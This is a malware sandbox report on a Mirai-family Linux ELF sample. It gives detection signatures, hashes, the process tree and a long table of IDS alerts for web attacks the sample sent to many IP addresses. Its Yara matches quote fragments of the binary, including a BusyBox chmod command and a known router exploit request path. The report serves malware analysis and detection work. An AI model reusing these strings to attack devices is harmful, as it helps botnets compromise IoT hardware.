Loading Joe Sandbox Report ...

Edit tour

Linux Analysis Report
spc.elf

Overview

General Information

Sample name:spc.elf
Analysis ID:1567858
MD5:c735943cdb0563f5249dde115981be18
SHA1:5fdd16537c1d6c5bca5debfa40a07c249560ad77
SHA256:0bcd3fede15864c44d9f41ff019ce9bc1a5673fef5f3daf16fd724274bc1f0f8
Tags:elfuser-abuse_ch
Infos:

Detection

Mirai
Score:100
Range:0 - 100
Whitelisted:false

Signatures

Antivirus / Scanner detection for submitted sample
Detected Mirai
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected Mirai
Connects to many ports of the same IP (likely port scanning)
Uses known network protocols on non-standard ports
Detected TCP or UDP traffic on non-standard ports
HTTP GET or POST without a user agent
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Tries to resolve domain names, but no domain seems valid (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)
Yara signature match

Classification

Joe Sandbox version:41.0.0 Charoite
Analysis ID:1567858
Start date and time:2024-12-03 23:16:06 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 30s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:spc.elf
Detection:MAL
Classification:mal100.troj.linELF@0/0@30/0
  • HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
  • Report size exceeded maximum capacity and may have missing network information.
  • VT rate limit hit for: spc.elf
Command:/tmp/spc.elf
PID:6220
Exit Code:0
Exit Code Info:
Killed:False
Standard Output:
unstable_is_the_history_of_universe
Standard Error:
  • system is lnxubuntu20
  • spc.elf (PID: 6220, Parent: 6137, MD5: 7dc1c0e23cd5e102bb12e5c29403410e) Arguments: /tmp/spc.elf
    • spc.elf New Fork (PID: 6222, Parent: 6220)
      • spc.elf New Fork (PID: 6228, Parent: 6222)
      • spc.elf New Fork (PID: 6230, Parent: 6222)
      • spc.elf New Fork (PID: 6232, Parent: 6222)
      • spc.elf New Fork (PID: 6233, Parent: 6222)
  • cleanup
NameDescriptionAttributionBlogpost URLsLink
MiraiMirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai
SourceRuleDescriptionAuthorStrings
spc.elfJoeSecurity_Mirai_5Yara detected MiraiJoe Security
    spc.elfJoeSecurity_Mirai_6Yara detected MiraiJoe Security
      spc.elfJoeSecurity_Mirai_8Yara detected MiraiJoe Security
        spc.elfMAL_ELF_LNX_Mirai_Oct10_1Detects ELF Mirai variantFlorian Roth
        • 0x10082:$x2: /bin/busybox chmod 777 * /tmp/
        • 0xfdd8:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
        • 0xfd20:$s3: POST /cdn-cgi/
        spc.elfMAL_ELF_LNX_Mirai_Oct10_2Detects ELF malware Mirai relatedFlorian Roth
        • 0xfd20:$c01: 50 4F 53 54 20 2F 63 64 6E 2D 63 67 69 2F 00 00 20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 00 0D 0A 48 6F 73 74 3A
        SourceRuleDescriptionAuthorStrings
        6220.1.00007f84c8011000.00007f84c8023000.r-x.sdmpJoeSecurity_Mirai_5Yara detected MiraiJoe Security
          6220.1.00007f84c8011000.00007f84c8023000.r-x.sdmpJoeSecurity_Mirai_6Yara detected MiraiJoe Security
            6220.1.00007f84c8011000.00007f84c8023000.r-x.sdmpJoeSecurity_Mirai_8Yara detected MiraiJoe Security
              6220.1.00007f84c8011000.00007f84c8023000.r-x.sdmpMAL_ELF_LNX_Mirai_Oct10_1Detects ELF Mirai variantFlorian Roth
              • 0x10082:$x2: /bin/busybox chmod 777 * /tmp/
              • 0xfdd8:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
              • 0xfd20:$s3: POST /cdn-cgi/
              6220.1.00007f84c8011000.00007f84c8023000.r-x.sdmpMAL_ELF_LNX_Mirai_Oct10_2Detects ELF malware Mirai relatedFlorian Roth
              • 0xfd20:$c01: 50 4F 53 54 20 2F 63 64 6E 2D 63 67 69 2F 00 00 20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 00 0D 0A 48 6F 73 74 3A
              Click to see the 7 entries
              TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
              2024-12-03T23:16:45.710659+010020300921Web Application Attack192.168.2.2341910185.138.149.1680TCP
              2024-12-03T23:16:51.039650+010020300921Web Application Attack192.168.2.2360312108.165.135.3980TCP
              2024-12-03T23:16:51.477618+010020300921Web Application Attack192.168.2.2339544209.58.154.180TCP
              2024-12-03T23:16:54.667523+010020300921Web Application Attack192.168.2.2352298181.49.1.980TCP
              2024-12-03T23:16:54.865385+010020300921Web Application Attack192.168.2.234305445.93.92.2380TCP
              2024-12-03T23:16:55.091292+010020300921Web Application Attack192.168.2.2333214175.204.245.9080TCP
              2024-12-03T23:17:00.635509+010020300921Web Application Attack192.168.2.233428413.67.141.21380TCP
              2024-12-03T23:17:04.071515+010020300921Web Application Attack192.168.2.234925450.3.239.9180TCP
              2024-12-03T23:17:04.968596+010020300921Web Application Attack192.168.2.234433038.153.191.12480TCP
              2024-12-03T23:17:06.363990+010020300921Web Application Attack192.168.2.2357792102.72.235.21280TCP
              2024-12-03T23:17:06.419072+010020300921Web Application Attack192.168.2.233453451.51.22.880TCP
              2024-12-03T23:17:06.421964+010020300921Web Application Attack192.168.2.2342056222.216.121.16280TCP
              2024-12-03T23:17:06.434644+010020300921Web Application Attack192.168.2.2350594219.135.74.12480TCP
              2024-12-03T23:17:06.467080+010020300921Web Application Attack192.168.2.233984289.7.20.13180TCP
              2024-12-03T23:17:06.481248+010020300921Web Application Attack192.168.2.2338240205.42.223.7680TCP
              2024-12-03T23:17:06.481416+010020300921Web Application Attack192.168.2.2354802131.246.4.6380TCP
              2024-12-03T23:17:06.497169+010020300921Web Application Attack192.168.2.2347602101.46.179.1680TCP
              2024-12-03T23:17:06.497505+010020300921Web Application Attack192.168.2.2355162144.38.20.080TCP
              2024-12-03T23:17:06.544006+010020300921Web Application Attack192.168.2.233588853.132.117.18480TCP
              2024-12-03T23:17:06.544355+010020300921Web Application Attack192.168.2.2349344129.100.184.22380TCP
              2024-12-03T23:17:06.544401+010020300921Web Application Attack192.168.2.234462045.40.116.25280TCP
              2024-12-03T23:17:06.590979+010020300921Web Application Attack192.168.2.235648895.67.114.25380TCP
              2024-12-03T23:17:06.591035+010020300921Web Application Attack192.168.2.2353526153.112.177.22980TCP
              2024-12-03T23:17:06.600042+010020300921Web Application Attack192.168.2.2355950198.29.2.10380TCP
              2024-12-03T23:17:06.615596+010020300921Web Application Attack192.168.2.2350114120.173.20.19480TCP
              2024-12-03T23:17:06.637715+010020300921Web Application Attack192.168.2.2345274146.132.188.16680TCP
              2024-12-03T23:17:06.653194+010020300921Web Application Attack192.168.2.2334932104.171.23.14580TCP
              2024-12-03T23:17:06.662581+010020300921Web Application Attack192.168.2.2349530188.243.47.24980TCP
              2024-12-03T23:17:06.678080+010020300921Web Application Attack192.168.2.2337062178.209.10.7580TCP
              2024-12-03T23:17:07.434851+010020300921Web Application Attack192.168.2.2358542152.243.171.4980TCP
              2024-12-03T23:17:07.450210+010020300921Web Application Attack192.168.2.234446679.244.180.20780TCP
              2024-12-03T23:17:07.457990+010020300921Web Application Attack192.168.2.233402451.255.125.13880TCP
              2024-12-03T23:17:07.465698+010020300921Web Application Attack192.168.2.2348408211.227.175.19780TCP
              2024-12-03T23:17:07.537859+010020300921Web Application Attack192.168.2.233281812.128.53.1080TCP
              2024-12-03T23:17:07.537953+010020300921Web Application Attack192.168.2.234405452.59.102.7780TCP
              2024-12-03T23:17:07.600254+010020300921Web Application Attack192.168.2.2340424179.151.244.13980TCP
              2024-12-03T23:17:07.637794+010020300921Web Application Attack192.168.2.23557849.156.190.10480TCP
              2024-12-03T23:17:07.653553+010020300921Web Application Attack192.168.2.235761271.139.246.17480TCP
              2024-12-03T23:17:07.653577+010020300921Web Application Attack192.168.2.2334882131.92.253.18180TCP
              2024-12-03T23:17:07.653582+010020300921Web Application Attack192.168.2.2334928184.86.41.5680TCP
              2024-12-03T23:17:07.700412+010020300921Web Application Attack192.168.2.2334724175.139.215.10880TCP
              2024-12-03T23:17:07.725140+010020300921Web Application Attack192.168.2.235289852.109.45.18280TCP
              2024-12-03T23:17:07.731364+010020300921Web Application Attack192.168.2.2357244220.191.45.22680TCP
              2024-12-03T23:17:08.965732+010020300921Web Application Attack192.168.2.2348428126.128.117.17480TCP
              2024-12-03T23:17:09.006420+010020300921Web Application Attack192.168.2.2355344111.129.118.14180TCP
              2024-12-03T23:17:09.043926+010020300921Web Application Attack192.168.2.2346556136.180.192.6480TCP
              2024-12-03T23:17:09.043967+010020300921Web Application Attack192.168.2.2341164180.109.221.17280TCP
              2024-12-03T23:17:09.044103+010020300921Web Application Attack192.168.2.2356698193.187.119.180TCP
              2024-12-03T23:17:09.075284+010020300921Web Application Attack192.168.2.2355712146.160.159.12880TCP
              2024-12-03T23:17:09.075448+010020300921Web Application Attack192.168.2.2340288103.214.187.22780TCP
              2024-12-03T23:17:09.084346+010020300921Web Application Attack192.168.2.235267883.51.41.14480TCP
              2024-12-03T23:17:09.091293+010020300921Web Application Attack192.168.2.2335072177.225.31.24480TCP
              2024-12-03T23:17:09.100041+010020300921Web Application Attack192.168.2.2355066176.205.213.1780TCP
              2024-12-03T23:17:09.100196+010020300921Web Application Attack192.168.2.2347196161.47.72.13080TCP
              2024-12-03T23:17:09.100327+010020300921Web Application Attack192.168.2.2342634159.198.67.11080TCP
              2024-12-03T23:17:09.100491+010020300921Web Application Attack192.168.2.2333716219.25.117.20180TCP
              2024-12-03T23:17:09.106477+010020300921Web Application Attack192.168.2.2346746175.217.230.7080TCP
              2024-12-03T23:17:09.142225+010020300921Web Application Attack192.168.2.2360554146.197.93.17780TCP
              2024-12-03T23:17:09.512681+010020300921Web Application Attack192.168.2.235663089.106.217.24180TCP
              2024-12-03T23:17:09.530683+010020300921Web Application Attack192.168.2.2344250176.88.220.12380TCP
              2024-12-03T23:17:09.544166+010020300921Web Application Attack192.168.2.234342220.223.0.23580TCP
              2024-12-03T23:17:09.554197+010020300921Web Application Attack192.168.2.2357190204.71.210.3680TCP
              2024-12-03T23:17:09.615682+010020300921Web Application Attack192.168.2.233981214.2.153.10280TCP
              2024-12-03T23:17:09.725179+010020300921Web Application Attack192.168.2.2353122170.152.121.16980TCP
              2024-12-03T23:17:09.725184+010020300921Web Application Attack192.168.2.2359074155.203.22.12680TCP
              2024-12-03T23:17:09.965794+010020300921Web Application Attack192.168.2.2358900181.16.202.6780TCP
              2024-12-03T23:17:09.966067+010020300921Web Application Attack192.168.2.234811075.96.152.12480TCP
              2024-12-03T23:17:09.975127+010020300921Web Application Attack192.168.2.2335012116.59.162.8580TCP
              2024-12-03T23:17:09.997413+010020300921Web Application Attack192.168.2.2358128192.62.46.24080TCP
              2024-12-03T23:17:10.089859+010020300921Web Application Attack192.168.2.2357340186.45.45.22980TCP
              2024-12-03T23:17:10.089859+010020300921Web Application Attack192.168.2.2346408107.254.158.16280TCP
              2024-12-03T23:17:10.089860+010020300921Web Application Attack192.168.2.233634088.109.144.12180TCP
              2024-12-03T23:17:10.089871+010020300921Web Application Attack192.168.2.2342638177.95.70.14580TCP
              2024-12-03T23:17:10.098787+010020300921Web Application Attack192.168.2.236074480.213.14.16580TCP
              2024-12-03T23:17:10.098792+010020300921Web Application Attack192.168.2.2344924137.96.172.13780TCP
              2024-12-03T23:17:10.098798+010020300921Web Application Attack192.168.2.234141884.171.71.6780TCP
              2024-12-03T23:17:10.121132+010020300921Web Application Attack192.168.2.236064265.196.231.13180TCP
              2024-12-03T23:17:10.121132+010020300921Web Application Attack192.168.2.234732814.201.184.21880TCP
              2024-12-03T23:17:10.213462+010020300921Web Application Attack192.168.2.2354912158.229.16.17280TCP
              2024-12-03T23:17:10.213464+010020300921Web Application Attack192.168.2.2348388216.45.248.17280TCP
              2024-12-03T23:17:10.213467+010020300921Web Application Attack192.168.2.2350374118.211.183.6780TCP
              2024-12-03T23:17:10.213471+010020300921Web Application Attack192.168.2.2341142105.208.107.22080TCP
              2024-12-03T23:17:10.213471+010020300921Web Application Attack192.168.2.2336494199.96.168.17980TCP
              2024-12-03T23:17:10.213471+010020300921Web Application Attack192.168.2.2340216149.214.222.9180TCP
              2024-12-03T23:17:11.122196+010020300921Web Application Attack192.168.2.233317064.184.219.4180TCP
              2024-12-03T23:17:11.142655+010020300921Web Application Attack192.168.2.2344118154.175.128.16480TCP
              2024-12-03T23:17:11.142655+010020300921Web Application Attack192.168.2.2350074112.198.79.12080TCP
              2024-12-03T23:17:11.153355+010020300921Web Application Attack192.168.2.233754041.76.192.11680TCP
              2024-12-03T23:17:11.162482+010020300921Web Application Attack192.168.2.2344158131.115.153.20180TCP
              2024-12-03T23:17:11.225243+010020300921Web Application Attack192.168.2.2346904134.104.83.7780TCP
              2024-12-03T23:17:11.356561+010020300921Web Application Attack192.168.2.233298274.123.234.3580TCP
              2024-12-03T23:17:11.372194+010020300921Web Application Attack192.168.2.235060090.249.44.17580TCP
              2024-12-03T23:17:11.372387+010020300921Web Application Attack192.168.2.2335066145.33.190.15780TCP
              2024-12-03T23:17:11.388601+010020300921Web Application Attack192.168.2.2342146138.192.209.11980TCP
              2024-12-03T23:17:11.396741+010020300921Web Application Attack192.168.2.2335992176.69.242.9480TCP
              2024-12-03T23:17:11.413341+010020300921Web Application Attack192.168.2.235311895.58.153.19380TCP
              2024-12-03T23:17:11.413343+010020300921Web Application Attack192.168.2.2345074217.19.114.22980TCP
              2024-12-03T23:17:11.413492+010020300921Web Application Attack192.168.2.2344382135.89.3.4480TCP
              2024-12-03T23:17:11.428183+010020300921Web Application Attack192.168.2.234830049.209.5.24480TCP
              2024-12-03T23:17:11.428299+010020300921Web Application Attack192.168.2.2360176193.206.198.7880TCP
              2024-12-03T23:17:11.428411+010020300921Web Application Attack192.168.2.2348708117.110.109.9980TCP
              2024-12-03T23:17:11.428488+010020300921Web Application Attack192.168.2.235646632.125.248.3580TCP
              2024-12-03T23:17:11.428602+010020300921Web Application Attack192.168.2.2352612217.189.104.3480TCP
              2024-12-03T23:17:11.990637+010020300921Web Application Attack192.168.2.2341216160.108.6.24680TCP
              2024-12-03T23:17:12.021778+010020300921Web Application Attack192.168.2.234103053.125.178.18980TCP
              2024-12-03T23:17:12.022027+010020300921Web Application Attack192.168.2.2360208194.223.37.3080TCP
              2024-12-03T23:17:12.037487+010020300921Web Application Attack192.168.2.2358364105.92.24.7280TCP
              2024-12-03T23:17:12.037585+010020300921Web Application Attack192.168.2.234152613.3.191.5580TCP
              2024-12-03T23:17:12.418920+010020300921Web Application Attack192.168.2.233548487.101.119.20680TCP
              2024-12-03T23:17:12.419161+010020300921Web Application Attack192.168.2.2347686166.27.48.14680TCP
              2024-12-03T23:17:12.419191+010020300921Web Application Attack192.168.2.235767474.248.70.5380TCP
              2024-12-03T23:17:12.419234+010020300921Web Application Attack192.168.2.2336520206.218.156.5880TCP
              2024-12-03T23:17:12.419306+010020300921Web Application Attack192.168.2.2341066107.228.249.1780TCP
              2024-12-03T23:17:12.428414+010020300921Web Application Attack192.168.2.2360984207.44.6.2880TCP
              2024-12-03T23:17:12.459434+010020300921Web Application Attack192.168.2.2346738110.74.199.9780TCP
              2024-12-03T23:17:12.459554+010020300921Web Application Attack192.168.2.2333370168.200.219.6480TCP
              2024-12-03T23:17:12.475298+010020300921Web Application Attack192.168.2.235983236.177.131.9080TCP
              2024-12-03T23:17:12.475419+010020300921Web Application Attack192.168.2.235118481.193.189.21780TCP
              2024-12-03T23:17:14.318900+010020300921Web Application Attack192.168.2.2357228173.42.62.15780TCP
              2024-12-03T23:17:14.418984+010020300921Web Application Attack192.168.2.235642869.10.3.18480TCP
              2024-12-03T23:17:14.419301+010020300921Web Application Attack192.168.2.2340820176.250.219.21880TCP
              2024-12-03T23:17:14.434703+010020300921Web Application Attack192.168.2.2346348133.155.42.20980TCP
              2024-12-03T23:17:14.466370+010020300921Web Application Attack192.168.2.233802241.75.167.18180TCP
              2024-12-03T23:17:14.475054+010020300921Web Application Attack192.168.2.2359036125.159.204.22180TCP
              2024-12-03T23:17:15.262889+010020300921Web Application Attack192.168.2.2336772209.190.249.4280TCP
              2024-12-03T23:17:15.319181+010020300921Web Application Attack192.168.2.234134498.23.1.1280TCP
              2024-12-03T23:17:15.350221+010020300921Web Application Attack192.168.2.234043285.157.24.22680TCP
              2024-12-03T23:17:15.958104+010020300921Web Application Attack192.168.2.2347920104.94.218.16880TCP
              2024-12-03T23:17:16.544251+010020300921Web Application Attack192.168.2.2352296209.218.254.7280TCP
              2024-12-03T23:17:16.559667+010020300921Web Application Attack192.168.2.2360380205.115.19.18980TCP
              2024-12-03T23:17:16.575320+010020300921Web Application Attack192.168.2.2358502124.213.253.2280TCP
              2024-12-03T23:17:16.575448+010020300921Web Application Attack192.168.2.2342216187.217.57.15780TCP
              2024-12-03T23:17:16.584548+010020300921Web Application Attack192.168.2.2345226199.48.240.2680TCP
              2024-12-03T23:17:16.601302+010020300921Web Application Attack192.168.2.2350780160.118.116.20480TCP
              2024-12-03T23:17:17.341532+010020300921Web Application Attack192.168.2.234383442.96.90.15080TCP
              2024-12-03T23:17:17.341608+010020300921Web Application Attack192.168.2.2347178153.109.96.15980TCP
              2024-12-03T23:17:17.372101+010020300921Web Application Attack192.168.2.234520857.118.124.19680TCP
              2024-12-03T23:17:17.372218+010020300921Web Application Attack192.168.2.2351650168.72.114.10380TCP
              2024-12-03T23:17:17.428638+010020300921Web Application Attack192.168.2.233487667.186.194.13680TCP
              2024-12-03T23:17:17.583211+010020300921Web Application Attack192.168.2.235726846.149.136.2180TCP
              2024-12-03T23:17:18.358195+010020300921Web Application Attack192.168.2.234912895.38.48.22380TCP
              2024-12-03T23:17:18.546485+010020300921Web Application Attack192.168.2.2359436107.254.106.9980TCP
              2024-12-03T23:17:18.593246+010020300921Web Application Attack192.168.2.2345486145.12.51.10280TCP
              2024-12-03T23:17:18.593266+010020300921Web Application Attack192.168.2.2357430144.244.202.1880TCP
              2024-12-03T23:17:18.593269+010020300921Web Application Attack192.168.2.23597762.68.142.180TCP
              2024-12-03T23:17:18.593389+010020300921Web Application Attack192.168.2.235109098.46.105.14480TCP
              2024-12-03T23:17:18.593510+010020300921Web Application Attack192.168.2.2343788113.67.108.380TCP
              2024-12-03T23:17:18.593515+010020300921Web Application Attack192.168.2.235409851.31.14.480TCP
              2024-12-03T23:17:18.593646+010020300921Web Application Attack192.168.2.233986083.114.35.24780TCP
              2024-12-03T23:17:18.593780+010020300921Web Application Attack192.168.2.235665884.216.136.5280TCP
              2024-12-03T23:17:18.593916+010020300921Web Application Attack192.168.2.234978812.231.107.10880TCP
              2024-12-03T23:17:18.595019+010020300921Web Application Attack192.168.2.2340986129.72.45.4780TCP
              2024-12-03T23:17:18.602199+010020300921Web Application Attack192.168.2.2338996155.188.236.8380TCP
              2024-12-03T23:17:18.602363+010020300921Web Application Attack192.168.2.233840095.165.95.25580TCP
              2024-12-03T23:17:18.602367+010020300921Web Application Attack192.168.2.234013457.139.237.15280TCP
              2024-12-03T23:17:18.602493+010020300921Web Application Attack192.168.2.2354538113.149.205.7680TCP
              2024-12-03T23:17:18.633762+010020300921Web Application Attack192.168.2.235738066.32.129.4380TCP
              2024-12-03T23:17:19.419213+010020300921Web Application Attack192.168.2.2355390184.91.46.13280TCP
              2024-12-03T23:17:19.419342+010020300921Web Application Attack192.168.2.2347838170.130.35.17380TCP
              2024-12-03T23:17:19.419427+010020300921Web Application Attack192.168.2.2353984185.139.205.480TCP
              2024-12-03T23:17:19.419562+010020300921Web Application Attack192.168.2.2342338157.94.111.1280TCP
              2024-12-03T23:17:19.466087+010020300921Web Application Attack192.168.2.235176436.206.184.2980TCP
              2024-12-03T23:17:19.497304+010020300921Web Application Attack192.168.2.233567254.36.196.20580TCP
              2024-12-03T23:17:19.497446+010020300921Web Application Attack192.168.2.2336786162.32.100.21480TCP
              2024-12-03T23:17:19.506536+010020300921Web Application Attack192.168.2.234260485.134.54.5580TCP
              2024-12-03T23:17:19.506654+010020300921Web Application Attack192.168.2.2351602126.230.82.20880TCP
              2024-12-03T23:17:19.506839+010020300921Web Application Attack192.168.2.2351146118.197.22.280TCP
              2024-12-03T23:17:19.522100+010020300921Web Application Attack192.168.2.234073840.102.184.17080TCP
              2024-12-03T23:17:19.669175+010020300921Web Application Attack192.168.2.2338360160.213.170.5480TCP
              2024-12-03T23:17:19.678200+010020300921Web Application Attack192.168.2.2338572115.68.158.7580TCP
              2024-12-03T23:17:19.678515+010020300921Web Application Attack192.168.2.234412437.163.200.22480TCP
              2024-12-03T23:17:19.715852+010020300921Web Application Attack192.168.2.2359980212.185.60.20980TCP
              2024-12-03T23:17:19.725246+010020300921Web Application Attack192.168.2.2336856209.198.232.11480TCP
              2024-12-03T23:17:19.725287+010020300921Web Application Attack192.168.2.2346630135.59.238.17480TCP
              2024-12-03T23:17:19.787828+010020300921Web Application Attack192.168.2.234330843.138.98.21980TCP
              2024-12-03T23:17:20.544618+010020300921Web Application Attack192.168.2.235505617.75.92.14280TCP
              2024-12-03T23:17:20.575265+010020300921Web Application Attack192.168.2.2338322168.255.195.13080TCP
              2024-12-03T23:17:20.575364+010020300921Web Application Attack192.168.2.2358302217.213.200.5280TCP
              2024-12-03T23:17:20.600407+010020300921Web Application Attack192.168.2.235537037.84.242.20780TCP
              2024-12-03T23:17:20.600859+010020300921Web Application Attack192.168.2.234281032.141.226.13580TCP
              2024-12-03T23:17:20.647929+010020300921Web Application Attack192.168.2.2350704133.59.235.9680TCP
              2024-12-03T23:17:21.606864+010020300921Web Application Attack192.168.2.235183644.54.106.3080TCP
              2024-12-03T23:17:21.606867+010020300921Web Application Attack192.168.2.234101493.183.67.20580TCP
              2024-12-03T23:17:21.615841+010020300921Web Application Attack192.168.2.234260245.62.206.17480TCP
              2024-12-03T23:17:21.615990+010020300921Web Application Attack192.168.2.234467217.1.77.15480TCP
              2024-12-03T23:17:21.616079+010020300921Web Application Attack192.168.2.2348360111.10.89.10680TCP
              2024-12-03T23:17:21.620372+010020300921Web Application Attack192.168.2.235462677.159.194.22080TCP
              2024-12-03T23:17:21.622247+010020300921Web Application Attack192.168.2.2356650208.190.180.080TCP
              2024-12-03T23:17:21.622366+010020300921Web Application Attack192.168.2.2339002120.0.131.10080TCP
              2024-12-03T23:17:21.622452+010020300921Web Application Attack192.168.2.2352186159.14.248.20680TCP
              2024-12-03T23:17:21.622647+010020300921Web Application Attack192.168.2.233721286.26.128.16880TCP
              2024-12-03T23:17:21.622791+010020300921Web Application Attack192.168.2.2349122148.254.32.24780TCP
              2024-12-03T23:17:21.622860+010020300921Web Application Attack192.168.2.234049620.187.81.3680TCP
              2024-12-03T23:17:21.623009+010020300921Web Application Attack192.168.2.2355964132.135.3.20080TCP
              2024-12-03T23:17:21.631344+010020300921Web Application Attack192.168.2.2342562169.72.148.5580TCP
              2024-12-03T23:17:21.631548+010020300921Web Application Attack192.168.2.2358540104.72.84.16080TCP
              2024-12-03T23:17:21.631689+010020300921Web Application Attack192.168.2.234653613.14.252.17380TCP
              2024-12-03T23:17:21.631812+010020300921Web Application Attack192.168.2.2355474106.225.210.15880TCP
              2024-12-03T23:17:21.631887+010020300921Web Application Attack192.168.2.235603057.229.219.12580TCP
              2024-12-03T23:17:21.632010+010020300921Web Application Attack192.168.2.2354968190.73.255.20680TCP
              2024-12-03T23:17:21.649172+010020300921Web Application Attack192.168.2.2354426146.133.236.25580TCP
              2024-12-03T23:17:21.662801+010020300921Web Application Attack192.168.2.2345104147.157.58.10180TCP
              2024-12-03T23:17:21.663013+010020300921Web Application Attack192.168.2.233955872.215.35.3280TCP
              2024-12-03T23:17:21.663040+010020300921Web Application Attack192.168.2.2345418118.50.187.080TCP
              2024-12-03T23:17:21.663132+010020300921Web Application Attack192.168.2.235985860.87.131.16180TCP
              2024-12-03T23:17:21.663804+010020300921Web Application Attack192.168.2.234150867.54.13.15880TCP
              2024-12-03T23:17:21.678268+010020300921Web Application Attack192.168.2.234257072.0.76.14180TCP
              2024-12-03T23:17:21.678420+010020300921Web Application Attack192.168.2.2352874133.20.108.17080TCP
              2024-12-03T23:17:22.724907+010020300921Web Application Attack192.168.2.2351034198.17.84.19880TCP
              2024-12-03T23:17:22.928424+010020300921Web Application Attack192.168.2.2356052199.170.247.17480TCP
              2024-12-03T23:17:22.928537+010020300921Web Application Attack192.168.2.2336600217.118.126.2580TCP
              2024-12-03T23:17:23.022184+010020300921Web Application Attack192.168.2.234856017.83.114.5980TCP
              2024-12-03T23:17:23.022465+010020300921Web Application Attack192.168.2.2349368200.9.255.24380TCP
              2024-12-03T23:17:23.028555+010020300921Web Application Attack192.168.2.233284068.237.69.5280TCP
              2024-12-03T23:17:23.044118+010020300921Web Application Attack192.168.2.23466049.54.107.11780TCP
              2024-12-03T23:17:23.053626+010020300921Web Application Attack192.168.2.2340924167.154.247.8080TCP
              2024-12-03T23:17:23.053760+010020300921Web Application Attack192.168.2.233439859.152.245.10180TCP
              2024-12-03T23:17:23.919431+010020300921Web Application Attack192.168.2.2359018102.85.102.4580TCP
              2024-12-03T23:17:23.928409+010020300921Web Application Attack192.168.2.2359490169.107.84.14280TCP
              2024-12-03T23:17:23.935330+010020300921Web Application Attack192.168.2.2347718175.5.53.4580TCP
              2024-12-03T23:17:24.028682+010020300921Web Application Attack192.168.2.235347665.130.71.25580TCP
              2024-12-03T23:17:24.044230+010020300921Web Application Attack192.168.2.2338242148.17.19.680TCP
              2024-12-03T23:17:24.044412+010020300921Web Application Attack192.168.2.2356660192.194.104.12780TCP
              2024-12-03T23:17:24.044572+010020300921Web Application Attack192.168.2.235954448.98.171.8380TCP
              2024-12-03T23:17:24.044656+010020300921Web Application Attack192.168.2.2358272160.179.24.5980TCP
              2024-12-03T23:17:24.044772+010020300921Web Application Attack192.168.2.2356232149.158.106.16180TCP
              2024-12-03T23:17:24.069028+010020300921Web Application Attack192.168.2.235137064.182.14.20580TCP
              2024-12-03T23:17:24.069121+010020300921Web Application Attack192.168.2.235245036.77.163.12280TCP
              2024-12-03T23:17:24.076041+010020300921Web Application Attack192.168.2.2337712114.42.153.14780TCP
              2024-12-03T23:17:24.091110+010020300921Web Application Attack192.168.2.2336996128.212.90.280TCP
              2024-12-03T23:17:24.091428+010020300921Web Application Attack192.168.2.233308845.106.152.1580TCP
              2024-12-03T23:17:24.100365+010020300921Web Application Attack192.168.2.235757890.95.227.6980TCP
              2024-12-03T23:17:24.100487+010020300921Web Application Attack192.168.2.2343542216.78.163.6480TCP
              2024-12-03T23:17:24.100668+010020300921Web Application Attack192.168.2.234218251.244.114.24180TCP
              2024-12-03T23:17:24.101025+010020300921Web Application Attack192.168.2.235426287.163.47.21680TCP
              2024-12-03T23:17:24.101083+010020300921Web Application Attack192.168.2.2348104126.249.41.25180TCP
              2024-12-03T23:17:25.068971+010020300921Web Application Attack192.168.2.233877487.74.156.24880TCP
              2024-12-03T23:17:25.084810+010020300921Web Application Attack192.168.2.233401486.230.71.13880TCP
              2024-12-03T23:17:25.091098+010020300921Web Application Attack192.168.2.2333716221.237.234.2480TCP
              2024-12-03T23:17:25.100478+010020300921Web Application Attack192.168.2.2359676164.250.97.5880TCP
              2024-12-03T23:17:25.100631+010020300921Web Application Attack192.168.2.235125259.231.219.16880TCP
              2024-12-03T23:17:25.100713+010020300921Web Application Attack192.168.2.2348496133.105.5.13180TCP
              2024-12-03T23:17:25.101016+010020300921Web Application Attack192.168.2.2354256180.81.127.24980TCP
              2024-12-03T23:17:25.101116+010020300921Web Application Attack192.168.2.2359926158.156.176.17380TCP
              2024-12-03T23:17:25.903664+010020300921Web Application Attack192.168.2.2360882210.148.55.280TCP
              2024-12-03T23:17:25.903668+010020300921Web Application Attack192.168.2.234172693.178.74.3880TCP
              2024-12-03T23:17:25.903782+010020300921Web Application Attack192.168.2.235600439.139.178.11380TCP
              2024-12-03T23:17:25.919277+010020300921Web Application Attack192.168.2.233335299.236.37.7280TCP
              2024-12-03T23:17:25.919520+010020300921Web Application Attack192.168.2.233801447.68.81.7180TCP
              2024-12-03T23:17:25.919569+010020300921Web Application Attack192.168.2.235708891.247.3.16580TCP
              2024-12-03T23:17:25.919809+010020300921Web Application Attack192.168.2.2343622136.115.63.14780TCP
              2024-12-03T23:17:25.919896+010020300921Web Application Attack192.168.2.2334904150.215.250.19980TCP
              2024-12-03T23:17:25.928633+010020300921Web Application Attack192.168.2.23431009.153.33.1980TCP
              2024-12-03T23:17:25.928794+010020300921Web Application Attack192.168.2.2350110101.86.137.25580TCP
              2024-12-03T23:17:25.928963+010020300921Web Application Attack192.168.2.2333576103.28.100.23680TCP
              2024-12-03T23:17:25.929128+010020300921Web Application Attack192.168.2.2343260198.240.8.24380TCP
              2024-12-03T23:17:25.934833+010020300921Web Application Attack192.168.2.2334280217.254.243.9280TCP
              2024-12-03T23:17:25.934950+010020300921Web Application Attack192.168.2.2348540181.221.158.480TCP
